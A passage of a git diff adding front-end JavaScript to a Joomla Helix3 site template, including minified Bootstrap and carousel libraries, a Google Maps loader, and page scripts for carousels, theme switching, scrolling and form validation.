+})}}},c.prototype.activate=function(b,d,e){function f(){g.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu")&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=this.unpin=this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.1",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return c>e?"top":!1;if("bottom"==this.affixed)return null!=c?e+this.unpin<=f.top?!1:"bottom":a-d>=e+g?!1:"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&c>=i?"top":null!=d&&i+j>=a-d?"bottom":!1},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=a("body").height();"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery);
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/carousel.js b/deployed/helix3/templates/shaper_helix3/js/plugin/carousel.js
new file mode 100644
index 00000000..2d8dd26a
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/carousel.js
@@ -0,0 +1,7 @@
+/*! tinycarousel - v2.1.8 - 2015-02-22
+ * https://baijs.com/tinycarousel
+ *
+ * Copyright (c) 2015 Maarten Baijs ;
+ * Licensed under the MIT license */
+
+!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a(require("jquery")):a(jQuery)}(function(a){function b(b,e){function f(){return i.update(),i.move(i.slideCurrent),g(),i}function g(){i.options.buttons&&(n.click(function(){return i.move(--t),!1}),m.click(function(){return i.move(++t),!1})),a(window).resize(i.update),i.options.bullets&&b.on("click",".bullet",function(){return i.move(t=+a(this).attr("data-slide")),!1})}function h(){i.options.buttons&&!i.options.infinite&&(n.toggleClass("disable",i.slideCurrent<=0),m.toggleClass("disable",i.slideCurrent>=i.slidesTotal-r)),i.options.bullets&&(o.removeClass("active"),a(o[i.slideCurrent]).addClass("active"))}this.options=a.extend({},d,e),this._defaults=d,this._name=c;var i=this,j=b.find(".viewport:first"),k=b.find(".overview:first"),l=null,m=b.find(".next:first"),n=b.find(".prev:first"),o=b.find(".bullet"),p=0,q={},r=0,s=0,t=0,u="x"===this.options.axis,v=u?"Width":"Height",w=u?"left":"top",x=null;return this.slideCurrent=0,this.slidesTotal=0,this.intervalActive=!1,this.update=function(){return k.find(".mirrored").remove(),l=k.children(),p=j[0]["offset"+v],s=l.first()["outer"+v](!0),i.slidesTotal=l.length,i.slideCurrent=i.options.start||0,r=Math.ceil(p/s),k.append(l.slice(0,r).clone().addClass("mirrored")),k.css(v.toLowerCase(),s*(i.slidesTotal+r)),h(),i},this.start=function(){return i.options.interval&&(clearTimeout(x),i.intervalActive=!0,x=setTimeout(function(){i.move(++t)},i.options.intervalTime)),i},this.stop=function(){return clearTimeout(x),i.intervalActive=!1,i},this.move=function(a){return t=isNaN(a)?i.slideCurrent:a,i.slideCurrent=t%i.slidesTotal,0>t&&(i.slideCurrent=t=i.slidesTotal-1,k.css(w,-i.slidesTotal*s)),t>i.slidesTotal&&(i.slideCurrent=t=1,k.css(w,0)),q[w]=-t*s,k.animate(q,{queue:!1,duration:i.options.animation?i.options.animationTime:0,always:function(){b.trigger("move",[l[i.slideCurrent],i.slideCurrent])}}),h(),i.start(),i},f()}var c="tinycarousel",d={start:0,axis:"x",buttons:!0,bullets:!1,interval:!1,intervalTime:3e3,animation:!0,animationTime:1e3,infinite:!0};a.fn[c]=function(d){return this.each(function(){a.data(this,"plugin_"+c)||a.data(this,"plugin_"+c,new b(a(this),d))})}});
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/custom.js b/deployed/helix3/templates/shaper_helix3/js/plugin/custom.js
new file mode 100644
index 00000000..e684f07e
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/custom.js
@@ -0,0 +1,113 @@
+"use strict";
+/****** ANIMATION *****/
+var wow = new WOW(
+ {
+ animateClass: 'animated',
+ offset: 100,
+ callback: function(box) {
+ //console.log("WOW: animating <" + box.tagName.toLowerCase() + ">")
+ }
+ }
+);
+wow.init();
+
+/****** BACK TO TOP *****/
+$(window).scroll(function() {
+ if ($(document).scrollTop() > 500) {
+ $('#t-back_to_top').fadeIn();
+ } else {
+ $('#t-back_to_top').fadeOut();
+ }
+});
+
+$(document).ready(function(){
+ $('#t-back_to_top').on('click', function(){
+ $('html, body').animate({scrollTop : 0},800);
+ return false;
+ });
+
+ $('#t-header_mobile_nav').on('click', function(){
+ $('#header_nav').slideToggle('slow');
+ return false;
+ });
+
+ ColorSelector();
+});
+
+$(window).resize(function(){
+ var width = $(window).width();
+ if(width > 767)
+ {
+ $('#header_nav').css('display','block');
+ }
+ else
+ {
+ $('#header_nav').css('display','none');
+ }
+});
+
+$(window).load(function() {
+ setTimeout(
+ function()
+ {
+ $("body").removeClass('t-overlay');
+ }, 1500);
+});
+
+function ColorSelector(){
+ $("#t-color_selector_list > li > span").on('click', function(event) {
+ $("#t-color_selector_list > li > span i.fa-check").removeClass('fa-check');
+ $(this).find('i').addClass('fa-check');
+ $( "body" ).addClass('t-overlay');
+ ChkIt(this);
+ return false;
+ });
+}
+
+function ChkIt(color_rels){
+ var Themes = {
+ "red":"assets/css/theme/main_red.css",
+ "mid_blue":"assets/css/theme/main_mid_blue.css",
+ "nephritis":"assets/css/theme/main_nephritis.css",
+ "green_sea":"assets/css/theme/main_green_sea.css",
+ "orange":"assets/css/theme/main_orange.css",
+ "pink":"assets/css/theme/main_pink.css",
+ "yellow":"assets/css/theme/main_yellow.css",
+ "saddle":"assets/css/theme/main_saddle.css",
+ "main":"assets/css/main.css"
+ };
+ var color_rel = $(color_rels).attr("data-rel");
+ if(Themes.hasOwnProperty(color_rel)){
+ $(document).find("link#ThemeRoller").remove();
+ SwitchTheme(Themes[color_rel]);
+ /*$(document).find("link#ThemeRoller").attr("href",Themes[color_rel]);*/
+ }
+
+}
+
+function SwitchTheme(href){
+ var wjs = document.createElement('link');
+ wjs.type = 'text/css';
+ wjs.id = 'ThemeRoller';
+ wjs.async = true;
+ wjs.rel="stylesheet";
+ wjs.onload = function(){
+ $("body").removeClass('t-overlay');
+ };
+ wjs.href = href;
+ (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(wjs);
+}
+
+$(document).on("click","a[href^=#]",function(e){
+ var str = document.URL;
+ var i = str.lastIndexOf('/');
+ if (i != -1) {
+ str = str.substr(0, i) + "/";
+ }
+
+ e.preventDefault();
+ var hashtag = jQuery(this).attr("href");
+ if(hashtag.length>1){
+ window.location.href = str+hashtag;
+ }
+});
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/google_api.js b/deployed/helix3/templates/shaper_helix3/js/plugin/google_api.js
new file mode 100644
index 00000000..80ce6217
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/google_api.js
@@ -0,0 +1,20 @@
+window.google = window.google || {};
+google.maps = google.maps || {};
+(function() {
+
+ function getScript(src) {
+ document.write('<' + 'script src="' + src + '"><' + '/script>');
+ }
+
+ var modules = google.maps.modules = {};
+ google.maps.__gjsload__ = function(name, text) {
+ modules[name] = text;
+ };
+
+ google.maps.Load = function(apiLoad) {
+ delete google.maps.Load;
+ apiLoad([0.009999999776482582,[[["https://mts0.googleapis.com/vt?lyrs=m@318000000\u0026src=api\u0026hl=en-US\u0026","https://mts1.googleapis.com/vt?lyrs=m@318000000\u0026src=api\u0026hl=en-US\u0026"],null,null,null,null,"m@318000000",["https://mts0.google.com/vt?lyrs=m@318000000\u0026src=api\u0026hl=en-US\u0026","https://mts1.google.com/vt?lyrs=m@318000000\u0026src=api\u0026hl=en-US\u0026"]],[["https://khms0.googleapis.com/kh?v=182\u0026hl=en-US\u0026","https://khms1.googleapis.com/kh?v=182\u0026hl=en-US\u0026"],null,null,null,1,"182",["https://khms0.google.com/kh?v=182\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=182\u0026hl=en-US\u0026"]],null,[["https://mts0.googleapis.com/vt?lyrs=t@132,r@318000000\u0026src=api\u0026hl=en-US\u0026","https://mts1.googleapis.com/vt?lyrs=t@132,r@318000000\u0026src=api\u0026hl=en-US\u0026"],null,null,null,null,"t@132,r@318000000",["https://mts0.google.com/vt?lyrs=t@132,r@318000000\u0026src=api\u0026hl=en-US\u0026","https://mts1.google.com/vt?lyrs=t@132,r@318000000\u0026src=api\u0026hl=en-US\u0026"]],null,null,[["https://cbks0.googleapis.com/cbk?","https://cbks1.googleapis.com/cbk?"]],[["https://khms0.googleapis.com/kh?v=87\u0026hl=en-US\u0026","https://khms1.googleapis.com/kh?v=87\u0026hl=en-US\u0026"],null,null,null,null,"87",["https://khms0.google.com/kh?v=87\u0026hl=en-US\u0026","https://khms1.google.com/kh?v=87\u0026hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt?hl=en-US\u0026","https://mts1.googleapis.com/mapslt?hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt/ft?hl=en-US\u0026","https://mts1.googleapis.com/mapslt/ft?hl=en-US\u0026"]],[["https://mts0.googleapis.com/vt?hl=en-US\u0026","https://mts1.googleapis.com/vt?hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt/loom?hl=en-US\u0026","https://mts1.googleapis.com/mapslt/loom?hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt?hl=en-US\u0026","https://mts1.googleapis.com/mapslt?hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt/ft?hl=en-US\u0026","https://mts1.googleapis.com/mapslt/ft?hl=en-US\u0026"]],[["https://mts0.googleapis.com/mapslt/loom?hl=en-US\u0026","https://mts1.googleapis.com/mapslt/loom?hl=en-US\u0026"]]],["en-US","US",null,0,null,null,"https://maps.gstatic.com/mapfiles/","https://csi.gstatic.com","https://maps.googleapis.com","https://maps.googleapis.com",null,"https://maps.google.com","https://gg.google.com","https://maps.gstatic.com/maps-api-v3/api/images/","https://www.google.com/maps",0,"https://www.google.com"],["https://maps.gstatic.com/maps-api-v3/api/js/21/9b","3.21.9b"],[1942422141],1,null,null,null,null,null,"",null,null,1,"https://khms.googleapis.com/mz?v=182\u0026",null,"https://earthbuilder.googleapis.com","https://earthbuilder.googleapis.com",null,"https://mts.googleapis.com/vt/icon",[["https://mts0.googleapis.com/vt","https://mts1.googleapis.com/vt"],["https://mts0.googleapis.com/vt","https://mts1.googleapis.com/vt"],null,null,null,null,null,null,null,null,null,null,["https://mts0.google.com/vt","https://mts1.google.com/vt"],"/maps/vt",318000000,132],2,500,[null,"https://g0.gstatic.com/landmark/tour","https://g0.gstatic.com/landmark/config",null,"https://www.google.com/maps/preview/log204","","https://static.panoramio.com.storage.googleapis.com/photos/",["https://geo0.ggpht.com/cbk","https://geo1.ggpht.com/cbk","https://geo2.ggpht.com/cbk","https://geo3.ggpht.com/cbk"],"https://maps.googleapis.com/maps/api/js/GeoPhotoService.GetMetadata","https://maps.googleapis.com/maps/api/js/GeoPhotoService.SingleImageSearch"],["https://www.google.com/maps/api/js/master?pb=!1m2!1u21!2s9b!2sen-US!3sUS!4s21/9b","https://www.google.com/maps/api/js/widget?pb=!1m2!1u21!2s9b!2sen-US"],null,0,null,"/maps/api/js/ApplicationService.GetEntityDetails",0,null,null,[null,null,null,null,null,null,null,null,null,[0,0],[0,null,0,"0","0","U","0","0","0","0"]]], loadScriptTime);
+ };
+ var loadScriptTime = (new Date).getTime();
+ getScript("https://maps.gstatic.com/maps-api-v3/api/js/21/9b/main.js");
+})();
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/imagesloaded.js b/deployed/helix3/templates/shaper_helix3/js/plugin/imagesloaded.js
new file mode 100644
index 00000000..d66f6589
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/imagesloaded.js
@@ -0,0 +1,7 @@
+/*!
+ * imagesLoaded PACKAGED v3.1.8
+ * JavaScript is all like "You images are done yet or what?"
+ * MIT License
+ */
+
+(function(){function e(){}function t(e,t){for(var n=e.length;n--;)if(e[n].listener===t)return n;return-1}function n(e){return function(){return this[e].apply(this,arguments)}}var i=e.prototype,r=this,o=r.EventEmitter;i.getListeners=function(e){var t,n,i=this._getEvents();if("object"==typeof e){t={};for(n in i)i.hasOwnProperty(n)&&e.test(n)&&(t[n]=i[n])}else t=i[e]||(i[e]=[]);return t},i.flattenListeners=function(e){var t,n=[];for(t=0;e.length>t;t+=1)n.push(e[t].listener);return n},i.getListenersAsObject=function(e){var t,n=this.getListeners(e);return n instanceof Array&&(t={},t[e]=n),t||n},i.addListener=function(e,n){var i,r=this.getListenersAsObject(e),o="object"==typeof n;for(i in r)r.hasOwnProperty(i)&&-1===t(r[i],n)&&r[i].push(o?n:{listener:n,once:!1});return this},i.on=n("addListener"),i.addOnceListener=function(e,t){return this.addListener(e,{listener:t,once:!0})},i.once=n("addOnceListener"),i.defineEvent=function(e){return this.getListeners(e),this},i.defineEvents=function(e){for(var t=0;e.length>t;t+=1)this.defineEvent(e[t]);return this},i.removeListener=function(e,n){var i,r,o=this.getListenersAsObject(e);for(r in o)o.hasOwnProperty(r)&&(i=t(o[r],n),-1!==i&&o[r].splice(i,1));return this},i.off=n("removeListener"),i.addListeners=function(e,t){return this.manipulateListeners(!1,e,t)},i.removeListeners=function(e,t){return this.manipulateListeners(!0,e,t)},i.manipulateListeners=function(e,t,n){var i,r,o=e?this.removeListener:this.addListener,s=e?this.removeListeners:this.addListeners;if("object"!=typeof t||t instanceof RegExp)for(i=n.length;i--;)o.call(this,t,n[i]);else for(i in t)t.hasOwnProperty(i)&&(r=t[i])&&("function"==typeof r?o.call(this,i,r):s.call(this,i,r));return this},i.removeEvent=function(e){var t,n=typeof e,i=this._getEvents();if("string"===n)delete i[e];else if("object"===n)for(t in i)i.hasOwnProperty(t)&&e.test(t)&&delete i[t];else delete this._events;return this},i.removeAllListeners=n("removeEvent"),i.emitEvent=function(e,t){var n,i,r,o,s=this.getListenersAsObject(e);for(r in s)if(s.hasOwnProperty(r))for(i=s[r].length;i--;)n=s[r][i],n.once===!0&&this.removeListener(e,n.listener),o=n.listener.apply(this,t||[]),o===this._getOnceReturnValue()&&this.removeListener(e,n.listener);return this},i.trigger=n("emitEvent"),i.emit=function(e){var t=Array.prototype.slice.call(arguments,1);return this.emitEvent(e,t)},i.setOnceReturnValue=function(e){return this._onceReturnValue=e,this},i._getOnceReturnValue=function(){return this.hasOwnProperty("_onceReturnValue")?this._onceReturnValue:!0},i._getEvents=function(){return this._events||(this._events={})},e.noConflict=function(){return r.EventEmitter=o,e},"function"==typeof define&&define.amd?define("eventEmitter/EventEmitter",[],function(){return e}):"object"==typeof module&&module.exports?module.exports=e:this.EventEmitter=e}).call(this),function(e){function t(t){var n=e.event;return n.target=n.target||n.srcElement||t,n}var n=document.documentElement,i=function(){};n.addEventListener?i=function(e,t,n){e.addEventListener(t,n,!1)}:n.attachEvent&&(i=function(e,n,i){e[n+i]=i.handleEvent?function(){var n=t(e);i.handleEvent.call(i,n)}:function(){var n=t(e);i.call(e,n)},e.attachEvent("on"+n,e[n+i])});var r=function(){};n.removeEventListener?r=function(e,t,n){e.removeEventListener(t,n,!1)}:n.detachEvent&&(r=function(e,t,n){e.detachEvent("on"+t,e[t+n]);try{delete e[t+n]}catch(i){e[t+n]=void 0}});var o={bind:i,unbind:r};"function"==typeof define&&define.amd?define("eventie/eventie",o):e.eventie=o}(this),function(e,t){"function"==typeof define&&define.amd?define(["eventEmitter/EventEmitter","eventie/eventie"],function(n,i){return t(e,n,i)}):"object"==typeof exports?module.exports=t(e,require("wolfy87-eventemitter"),require("eventie")):e.imagesLoaded=t(e,e.EventEmitter,e.eventie)}(window,function(e,t,n){function i(e,t){for(var n in t)e[n]=t[n];return e}function r(e){return"[object Array]"===d.call(e)}function o(e){var t=[];if(r(e))t=e;else if("number"==typeof e.length)for(var n=0,i=e.length;i>n;n++)t.push(e[n]);else t.push(e);return t}function s(e,t,n){if(!(this instanceof s))return new s(e,t);"string"==typeof e&&(e=document.querySelectorAll(e)),this.elements=o(e),this.options=i({},this.options),"function"==typeof t?n=t:i(this.options,t),n&&this.on("always",n),this.getImages(),a&&(this.jqDeferred=new a.Deferred);var r=this;setTimeout(function(){r.check()})}function f(e){this.img=e}function c(e){this.src=e,v[e]=this}var a=e.jQuery,u=e.console,h=u!==void 0,d=Object.prototype.toString;s.prototype=new t,s.prototype.options={},s.prototype.getImages=function(){this.images=[];for(var e=0,t=this.elements.length;t>e;e++){var n=this.elements[e];"IMG"===n.nodeName&&this.addImage(n);var i=n.nodeType;if(i&&(1===i||9===i||11===i))for(var r=n.querySelectorAll("img"),o=0,s=r.length;s>o;o++){var f=r[o];this.addImage(f)}}},s.prototype.addImage=function(e){var t=new f(e);this.images.push(t)},s.prototype.check=function(){function e(e,r){return t.options.debug&&h&&u.log("confirm",e,r),t.progress(e),n++,n===i&&t.complete(),!0}var t=this,n=0,i=this.images.length;if(this.hasAnyBroken=!1,!i)return this.complete(),void 0;for(var r=0;i>r;r++){var o=this.images[r];o.on("confirm",e),o.check()}},s.prototype.progress=function(e){this.hasAnyBroken=this.hasAnyBroken||!e.isLoaded;var t=this;setTimeout(function(){t.emit("progress",t,e),t.jqDeferred&&t.jqDeferred.notify&&t.jqDeferred.notify(t,e)})},s.prototype.complete=function(){var e=this.hasAnyBroken?"fail":"done";this.isComplete=!0;var t=this;setTimeout(function(){if(t.emit(e,t),t.emit("always",t),t.jqDeferred){var n=t.hasAnyBroken?"reject":"resolve";t.jqDeferred[n](t)}})},a&&(a.fn.imagesLoaded=function(e,t){var n=new s(this,e,t);return n.jqDeferred.promise(a(this))}),f.prototype=new t,f.prototype.check=function(){var e=v[this.img.src]||new c(this.img.src);if(e.isConfirmed)return this.confirm(e.isLoaded,"cached was confirmed"),void 0;if(this.img.complete&&void 0!==this.img.naturalWidth)return this.confirm(0!==this.img.naturalWidth,"naturalWidth"),void 0;var t=this;e.on("confirm",function(e,n){return t.confirm(e.isLoaded,n),!0}),e.check()},f.prototype.confirm=function(e,t){this.isLoaded=e,this.emit("confirm",this,t)};var v={};return c.prototype=new t,c.prototype.check=function(){if(!this.isChecked){var e=new Image;n.bind(e,"load",this),n.bind(e,"error",this),e.src=this.src,this.isChecked=!0}},c.prototype.handleEvent=function(e){var t="on"+e.type;this[t]&&this[t](e)},c.prototype.onload=function(e){this.confirm(!0,"onload"),this.unbindProxyEvents(e)},c.prototype.onerror=function(e){this.confirm(!1,"onerror"),this.unbindProxyEvents(e)},c.prototype.confirm=function(e,t){this.isConfirmed=!0,this.isLoaded=e,this.emit("confirm",this,t)},c.prototype.unbindProxyEvents=function(e){n.unbind(e.target,"load",this),n.unbind(e.target,"error",this)},s});
\ No newline at end of file
diff --git a/deployed/helix3/templates/shaper_helix3/js/plugin/index.js b/deployed/helix3/templates/shaper_helix3/js/plugin/index.js
new file mode 100644
index 00000000..61c2da45
--- /dev/null
+++ b/deployed/helix3/templates/shaper_helix3/js/plugin/index.js
@@ -0,0 +1,370 @@
+"use strict";
+/****** ANIMATION *****/
+var wow = new WOW(
+ {
+ animateClass: 'animated',
+ offset: 100,
+ callback: function(box) {
+ //console.log("WOW: animating <" + box.tagName.toLowerCase() + ">")
+ }
+ }
+);
+wow.init();
+
+
+/******* DOCUMENT READY START *********/
+$(document).ready(function(){
+
+ /****** SLIDER *****/
+ $('#t-banner_slider').bxSlider({
+ controls: false
+ });
+ /****** SLIDER *****/
+ $("#our_service").tinycarousel({
+ bullets : true,
+ axis: "y"
+ });
+ /****** SKILL BAR *****/
+ SkillBar();
+ /****** SKILL BAR *****/
+
+ /****** Our Team Carousel *****/
+ OurTeamCarousel();
+ /****** Our Team Carousel *****/
+
+ /****** Client Tesimonial Carousel *****/
+ ClientTesimonial()
+ /****** Client Tesimonial Carousel *****/
+
+ /****** Client Logo Carousel *****/
+ ClientLogo();
+ /****** Client Logo Carousel *****/
+
+ /****** Client Logo Carousel *****/
+ TheProcess();
+ /****** Client Logo Carousel *****/
+
+ /****** Form Validation *****/
+ FormValidation();
+ /****** Form Validation *****/
+
+ /****** HomeBlog Height *****/
+ HomeBlogHight()
+ /****** HomeBlog Height *****/
+
+ /****** Our Work *****/
+ $(document).on('click', "#t-our_work_cat > ul > li a", function() {
+ var work_data_val = $(this).data('target');
+ $(this).parents("ul").find('li.active_service').removeClass('active_service');
+ $(this).parent("li").addClass('active_service');
+ OurWork(work_data_val);
+
+ if(typeof $(this).data("rel") != "undefined" ){
+ var current_id = $(this).data("rel");
+ $(".t-our_work_portfolio").fadeOut("slow");
+ $("#"+current_id).fadeIn("slow");
+ $(".t-our_work_portfolio").css("max-height",$(".t-our_work_portfolio > div.js-masonry").height());
+ }
+ return false;
+ });
+
+ OurWork($(document).find("#t-our_work_cat > ul > li a:first").data('target'));
+ /****** Our Work *****/
+
+ ServiceHeight();
+
+ $('#header_nav > ul > li > a').on('click',function (e) {
+ $('#header_nav > ul > li > a').removeClass('t_active');
+ $(this).addClass('t_active');
+ e.preventDefault();
+ e.stopPropagation();
+ $('html, body').stop().animate({
+ 'scrollTop': $($(this).attr('href')).offset().top
+ }, 900, 'swing', function () {});
+ return false;
+ });
+
+ $(document).on("scroll", onScroll);
+
+ $('.t-counter').counterUp({
+ delay: 100,
+ time: 3000
+ });
+
+ $('#t-back_to_top').on('click', function(){
+ $('html, body').animate({scrollTop : 0},800);
+ return false;
+ });
+
+ $('#t-header_mobile_nav').on('click', function(){
+ $('#header_nav').slideToggle('slow');
+ return false;
+ });
+
+ ColorSelector();
+
+ if(window.location.hash) {
+ var url = document.URL;
+ var hash = url.substring(url.indexOf('#')); // '#foo'
+ $('html, body').animate({
+ scrollTop: $(hash).offset().top
+ }, 2000);
+ }
+});
+/******* DOCUMENT READY END *********/
+
+$(window).resize(function() {
+ ServiceHeight();
+
+ if($(window).width() > 767){
+ $("#header_nav").show();
+ }
+});
+
+
+
+$(window).load(function() {
+ $(".t-masonary .t-our_work_portfolio").hide("fast");
+ $(".t-masonary #t-our_work_1").show("slow");
+ $("#all").trigger('click');
+ /****** Sticky Header *****/
+ HeaderStick();
+ /****** Sticky Header *****/
+
+ setTimeout(
+ function()
+ {
+ $("body").removeClass('t-overlay');
+ }, 1500);
+});
+
+function ServiceHeight(){
+ var service_left = $(".t-our_service_content").outerHeight();
+ $(".t-our_service_image").height(service_left);
+}
+
+function SkillBar(){
+ $('.skill_1').css('width', '60%');
+ $('.skill_2').css('width', '40%');
+ $('.skill_3').css('width', '80%');
+ $('.skill_4').css('width', '50%');
+}
+
+
+function OurTeamCarousel(){
+ var our_team = $("#t-our_team_carousel");
+ our_team.owlCarousel({
+ items : 4, //10 items above 1000px browser width
+ itemsDesktop : [1000,4], //5 items between 1000px and 901px
+ itemsDesktopSmall : [900,3], // 3 items betweem 900px and 601px
+ itemsTablet: [600,1], //2 items between 600 and 0;
+ itemsMobile : false, // itemsMobile disabled - inherit from itemsTablet option
+ pagination :false
+ });
+
+ $( ".t-next_team" ).on( "click", function() {
+ our_team.trigger('owl.next');
+ return false;
+ });
+ $( ".t-prev_team" ).on( "click", function() {
+ our_team.trigger('owl.prev');
+ return false;
+ });
+
+}
+
+function ClientTesimonial(){
+ var client_testimonial = $("#t-client_testimonial_carousel");
+ client_testimonial.owlCarousel({
+ items : 1, //10 items above 1000px browser width
+ itemsDesktop : [1000,1], //5 items between 1000px and 901px
+ itemsDesktopSmall : [900,1], // 3 items betweem 900px and 601px
+ itemsTablet: [600,1], //2 items between 600 and 0;
+ itemsMobile : false // itemsMobile disabled - inherit from itemsTablet option
+ });
+}
+
+
+function ClientLogo(){
+ var client_logo = $("#t-client_logo_carousel");
+ client_logo.owlCarousel({
+ items : 5, //10 items above 1000px browser width
+ itemsDesktop : [1000,5], //5 items between 1000px and 901px
+ itemsDesktopSmall : [900,4], // 3 items betweem 900px and 601px
+ itemsTablet: [600,1], //2 items between 600 and 0;
+ itemsMobile : false, // itemsMobile disabled - inherit from itemsTablet option
+ pagination :false
+ });
+
+ $( ".t-next_logo" ).on( "click", function() {
+ client_logo.trigger('owl.next');
+ return false;
+ });
+ $( ".t-prev_logo" ).on( "click", function() {
+ client_logo.trigger('owl.prev');
+ return false;
+ });
+}
+
+function FormValidation(){
+ $("#get_in_touch").validate({
+ rules: {
+ name: "required",
+ email: {
+ required: true,
+ email: true
+ },
+ subject: "required"
+ },
+ messages: {
+ name: "Please enter your name",
+ email: "Please enter valid email",
+ subject: "Please enter your subject"
+ }
+ });
+}
+
+
+
+function OurWork(our_work){
+ if(typeof our_work != "undefined"){
+
+ $(our_work).owlCarousel({
+ items : 5, //10 items above 1000px browser width
+ itemsDesktop : [1000,5], //5 items between 1000px and 901px
+ itemsDesktopSmall : [900,3], // 3 items betweem 900px and 601px
+ itemsTablet: [600,2], //2 items between 600 and 0;
+ itemsMobile : [479,1], // itemsMobile disabled - inherit from itemsTablet option
+ pagination :false,
+ lazyLoad : true
+ });
+ $(document).on("click", ".t-next_our_work",function() {
+ $(our_work).trigger('owl.next');
+ return false;
+ });
+
+ $(document).on( "click", ".t-prev_our_work", function() {
+ $(our_work).trigger('owl.prev');
+ return false;
+ });
+ $("div.t-our_work_portfolio").fadeOut();
+ $(our_work).parent("div").fadeIn();
+ }
+}
+
+
+function TheProcess(){
+ var the_process = $("#t-the_process_carousel");
+ the_process.owlCarousel({
+ items : 1, //10 items above 1000px browser width
+ itemsDesktop : [1000,1], //5 items between 1000px and 901px
+ itemsDesktopSmall : [900,1], // 3 items betweem 900px and 601px
+ itemsTablet: [600,1], //2 items between 600 and 0;
+ itemsMobile : false, // itemsMobile disabled - inherit from itemsTablet option
+ pagination :true,
+ paginationNumbers : true
+ });
+}
+
+
+function HeaderStick(){
+ var distance = $('#t-who_we_are').offset().top;
+ $(window).scroll(function(){
+ if($(document).scrollTop() > distance) {
+ $("#t-header").addClass('t-sticky_header');
+ }else{
+ $("#t-header").removeClass('t-sticky_header');
+ $("#header_nav > ul > li:first-child > a").addClass('t_active');
+ }
+ });
+}
+
+function onScroll(event){
+ var scrollPos = $(document).scrollTop();
+ $('#header_nav > ul > li > a').each(function () {
+ var currLink = $(this);
+ var refElement = $(currLink.attr("href"));
+ if (refElement.position().top <= scrollPos && refElement.position().top + refElement.height() > scrollPos) {
+ $('#header_nav > ul > li > a').removeClass("active");
+ currLink.addClass("t_active");
+ }
+ else{
+ currLink.removeClass("t_active");
+ }
+ });
+}
+
+function HomeBlogHight(){
+ var win_width = $(window).width();
+ if(win_width > 1200){
+ var Img_height = $(".t-home_blog_img > div > img").height();
+ $(".t-home_blog_content_inner").css({
+ "max-height": Img_height,
+ "height": Img_height
+ });
+ }
+}
+
+function ColorSelector(){
+ $("#t-color_selector_list > li > span").on('click', function(event) {
+ $("#t-color_selector_list > li > span i.fa-check").removeClass('fa-check');
+ $(this).find('i').addClass('fa-check');
+ $( "body" ).addClass('t-overlay');
+ ChkIt(this);
+ return false;
+ });
+}
+
+function ChkIt(color_rels){
+ var Themes = {
